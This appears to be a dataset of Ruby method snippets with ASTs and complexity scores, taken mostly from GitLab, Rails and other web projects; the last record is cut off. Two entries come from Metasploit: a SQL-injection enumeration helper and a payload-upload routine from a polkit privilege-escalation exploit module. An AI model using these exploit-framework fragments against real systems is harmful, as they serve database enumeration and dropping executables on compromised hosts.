{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/union.rb","start_line":16,"raw_source":"def on_send(node)\n          return unless raw_union?(node)\n\n          add_offense(node)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_union?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"ef369967-6389-4fba-8a14-057f28b17e95"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/form_tag_helper.rb","start_line":56,"raw_source":"def styled_url_field_tag(name, value = nil, options = {})\n      apply_css_class_to_options(options, \"form--text-field\")\n      wrap_field \"text-field\", options do\n        url_field_tag(name, value, options)\n      end\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"styled_url_field_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_css_class_to_options\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"str\",\"children\":[\"form--text-field\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrap_field\",{\"type\":\"str\",\"children\":[\"text-field\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"url_field_tag\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"86328fa8-b7eb-42e7-9b72-d16e53c5633e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/graphql/authorize_types.rb","start_line":19,"raw_source":"def on_class(node)\n          return if allowed?(class_constant(node))\n          return if allowed?(superclass_constant(node))\n\n          add_offense(node) unless authorize?(node)\n        end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed?\",{\"type\":\"send\",\"children\":[null,\"class_constant\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed?\",{\"type\":\"send\",\"children\":[null,\"superclass_constant\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"711ee3d8-4542-43ee-8ab7-eba16d3742a3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/sqli/mysqli/common.rb","start_line":74,"raw_source":"def enum_database_encoding(database = 'database()')\n      dump_table_fields('information_schema.schemata', %w[DEFAULT_CHARACTER_SET_NAME],\n                        \"SCHEMA_NAME=#{database.include?('(') ? database : \"'\" + database + \"'\"}\").flatten[0]\n    end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"enum_database_encoding\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"database\",{\"type\":\"str\",\"children\":[\"database()\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dump_table_fields\",{\"type\":\"str\",\"children\":[\"information_schema.schemata\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DEFAULT_CHARACTER_SET_NAME\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SCHEMA_NAME=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]},\"include?\",{\"type\":\"str\",\"children\":[\"(\"]}]},{\"type\":\"lvar\",\"children\":[\"database\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"database\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]},\"flatten\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"14aa9924-ee12-4cdc-91be-1048b93463ef"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/update_all_test.rb","start_line":347,"raw_source":"def test_update_bang_on_relation\n    topic1 = TopicWithCallbacks.create! title: \"arel\", author_name: nil\n    topic2 = TopicWithCallbacks.create! title: \"activerecord\", author_name: nil\n    topic3 = TopicWithCallbacks.create! title: \"ar\", author_name: nil\n    topics = TopicWithCallbacks.where(id: [topic1.id, topic2.id])\n    topics.update!(title: \"adequaterecord\")\n\n    assert_equal TopicWithCallbacks.count, TopicWithCallbacks.topic_count\n\n    assert_equal \"adequaterecord\", topic1.reload.title\n    assert_equal \"adequaterecord\", topic2.reload.title\n    assert_equal \"ar\", topic3.reload.title\n    # Testing that the before_update callbacks have run\n    assert_equal \"David\", topic1.reload.author_name\n    assert_equal \"David\", topic2.reload.author_name\n    assert_nil topic3.reload.author_name\n  end","complexity_score":36.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_bang_on_relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicWithCallbacks\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"arel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_name\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicWithCallbacks\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"activerecord\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_name\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic3\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicWithCallbacks\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"ar\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_name\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicWithCallbacks\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic1\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic2\"]},\"id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"adequaterecord\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicWithCallbacks\"]},\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicWithCallbacks\"]},\"topic_count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"adequaterecord\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic1\"]},\"reload\"]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"adequaterecord\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic2\"]},\"reload\"]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"ar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic3\"]},\"reload\"]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"David\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic1\"]},\"reload\"]},\"author_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"David\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic2\"]},\"reload\"]},\"author_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic3\"]},\"reload\"]},\"author_name\"]}]}]}]}","id":"ebddd53e-1f41-47e0-b5aa-c38dc71790db"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/articles_controller.rb","start_line":307,"raw_source":"def article_params_json\n    return @article_params_json if @article_params_json\n\n    params.require(:article) # to trigger the correct exception in case `:article` is missing\n\n    params[\"article\"].transform_keys!(&:underscore)\n\n    allowed_params = if params[\"article\"][\"version\"] == \"v1\"\n                       %i[body_markdown]\n                     else\n                       %i[\n                         title body_markdown main_image published description video_thumbnail_url\n                         tag_list canonical_url series collection_id archived published_at timezone\n                         published_at_date published_at_time type_of body_url subforem_id\n                       ]\n                     end\n\n    # NOTE: the organization logic is still a little counter intuitive but this should\n    # fix the bug <https://github.com/forem/forem/issues/2871>\n    if org_admin_user_change_privilege\n      allowed_params << :user_id\n      allowed_params << :co_author_ids_list\n    elsif params[\"article\"][\"organization_id\"] && allowed_to_change_org_id?\n      # change the organization of the article only if explicitly asked to do so\n      allowed_params << :organization_id\n    end\n\n    manage_published_at_params\n\n    @article_params_json = params.require(:article).permit(allowed_params)\n  end","complexity_score":34.0,"ast_json":"{\"type\":\"def\",\"children\":[\"article_params_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article_params_json\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article_params_json\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"article\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"article\"]}]},\"transform_keys!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"underscore\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"allowed_params\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"article\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"v1\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"body_markdown\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"body_markdown\"]},{\"type\":\"sym\",\"children\":[\"main_image\"]},{\"type\":\"sym\",\"children\":[\"published\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"sym\",\"children\":[\"video_thumbnail_url\"]},{\"type\":\"sym\",\"children\":[\"tag_list\"]},{\"type\":\"sym\",\"children\":[\"canonical_url\"]},{\"type\":\"sym\",\"children\":[\"series\"]},{\"type\":\"sym\",\"children\":[\"collection_id\"]},{\"type\":\"sym\",\"children\":[\"archived\"]},{\"type\":\"sym\",\"children\":[\"published_at\"]},{\"type\":\"sym\",\"children\":[\"timezone\"]},{\"type\":\"sym\",\"children\":[\"published_at_date\"]},{\"type\":\"sym\",\"children\":[\"published_at_time\"]},{\"type\":\"sym\",\"children\":[\"type_of\"]},{\"type\":\"sym\",\"children\":[\"body_url\"]},{\"type\":\"sym\",\"children\":[\"subforem_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"org_admin_user_change_privilege\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_params\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_params\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"co_author_ids_list\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"article\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"organization_id\"]}]},{\"type\":\"send\",\"children\":[null,\"allowed_to_change_org_id?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_params\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"organization_id\"]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"manage_published_at_params\"]},{\"type\":\"ivasgn\",\"children\":[\"@article_params_json\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"article\"]}]},\"permit\",{\"type\":\"lvar\",\"children\":[\"allowed_params\"]}]}]}]}]}","id":"91fdc108-e38b-4ad1-93ab-77edd8e541d3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb","start_line":355,"raw_source":"def upload_payload\n    fname = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(5)}\"\n    upload_and_chmodx(fname, generate_payload_exe)\n    return nil unless file_exist?(fname)\n\n    fname\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"upload_and_chmodx\",{\"type\":\"lvar\",\"children\":[\"fname\"]},{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_exist?\",{\"type\":\"lvar\",\"children\":[\"fname\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]}","id":"addcac37-4f38-489c-b809-a668f63f80fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/admin/projects_finder.rb","start_line":12,"raw_source":"def execute\n    items = Project.without_deleted.with_statistics.with_route\n    items = by_namespace_id(items)\n    items = by_visibility_level(items)\n    items = by_with_push(items)\n    items = by_abandoned(items)\n    items = by_last_repository_check_failed(items)\n    items = by_archived(items)\n    items = by_personal(items)\n    items = by_name(items)\n    items = items.includes(namespace: [:owner, :route])\n    sort(items).page(params[:page])\n  end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"without_deleted\"]},\"with_statistics\"]},\"with_route\"]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_namespace_id\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_visibility_level\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_with_push\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_abandoned\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_last_repository_check_failed\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_archived\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_personal\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_name\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"includes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"owner\"]},{\"type\":\"sym\",\"children\":[\"route\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort\",{\"type\":\"lvar\",\"children\":[\"items\"]}]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]}]}]}","id":"9cb45167-294f-4eb1-87ae-f1c6cd464648"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/packages/conan/package_presenter.rb","start_line":47,"raw_source":"def package_snapshot\n        map_package_files do |package_file|\n          next unless package_file.conan_file_metadatum.package_file? && matching_reference?(package_file)\n\n          package_file.file_md5\n        end\n      end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"package_snapshot\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"map_package_files\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_file\"]},\"conan_file_metadatum\"]},\"package_file?\"]},{\"type\":\"send\",\"children\":[null,\"matching_reference?\",{\"type\":\"lvar\",\"children\":[\"package_file\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_file\"]},\"file_md5\"]}]}]}]}","id":"0f2e7c7b-bf30-4c30-b223-c35acc06e4cb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth.rb","start_line":536,"raw_source":"def unavailable_observability_scopes_for_resource(resource)\n        return [] if (resource.is_a?(Project) || resource.is_a?(Group)) &&\n          Gitlab::Observability.should_enable_observability_auth_scopes?(resource)\n\n        OBSERVABILITY_SCOPES\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"unavailable_observability_scopes_for_resource\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Observability\"]},\"should_enable_observability_auth_scopes?\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"const\",\"children\":[null,\"OBSERVABILITY_SCOPES\"]}]}]}","id":"1fe89a1e-fe1e-41bd-b6e3-2a8a849a2d33"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/member.rb","start_line":43,"raw_source":"def app_manager?\n        roles.include?(ROLES[:app_manager])\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"app_manager?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"roles\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ROLES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_manager\"]}]}]}]}","id":"0d6e0c7d-5a5e-4dde-a064-147a19cdd184"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/member.rb","start_line":66,"raw_source":"def not_accepted_invitation\n        return true if raw_data[\"activationExpiry\"]\n        return false\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"not_accepted_invitation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"activationExpiry\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"dd870f73-58d2-433a-b49c-fc6ee44f4348"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/incident_management/pager_duty_incidents_controller.rb","start_line":16,"raw_source":"def create\n        result = webhook_processor.execute(params[:token])\n\n        head result.http_status\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"webhook_processor\"]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"token\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"http_status\"]}]}]}]}","id":"1ade71eb-dbc6-4d95-bdbb-f84027d89bc4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240626060552_set_internal_bots_to_have_private_profiles.rb","start_line":26,"raw_source":"def up\n    # We would have only 1 user per bot type so simple iteration should be fine\n    User.where(user_type: BOT_TYPES.values).find_each do |user|\n      user.private_profile = true\n\n      # I suppose it won't matter much, but preserve existing value just in case\n      user.confirmed_at = Time.zone.now unless user.confirmed_at.present?\n\n      user.save\n    end\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BOT_TYPES\"]},\"values\"]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"private_profile=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"confirmed_at\"]},\"present?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"confirmed_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"save\"]}]}]}]}","id":"1c37e9ef-40f5-4e07-a70b-5a72f4d64ab6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/graphs_controller.rb","start_line":60,"raw_source":"def ci\n    redirect_to charts_project_pipelines_path(@project)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ci\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"charts_project_pipelines_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}","id":"7567eb62-36e6-4ed4-8251-462ab25f546a"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/mime_type.rb","start_line":175,"raw_source":"def lookup_by_extension(extension)\n        EXTENSION_LOOKUP[extension.to_s]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup_by_extension\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"extension\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXTENSION_LOOKUP\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extension\"]},\"to_s\"]}]}]}","id":"4f0d4735-2d62-46ce-901e-74c56d1e9c16"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v2/accounts/live_reports_controller.rb","start_line":7,"raw_source":"def conversation_metrics\n    render json: {\n      open: @conversations.open.count,\n      unattended: @conversations.open.unattended.count,\n      unassigned: @conversations.open.unassigned.count,\n      pending: @conversations.pending.count\n    }\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"conversation_metrics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"open\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations\"]},\"open\"]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unattended\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations\"]},\"open\"]},\"unattended\"]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unassigned\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations\"]},\"open\"]},\"unassigned\"]},\"count\"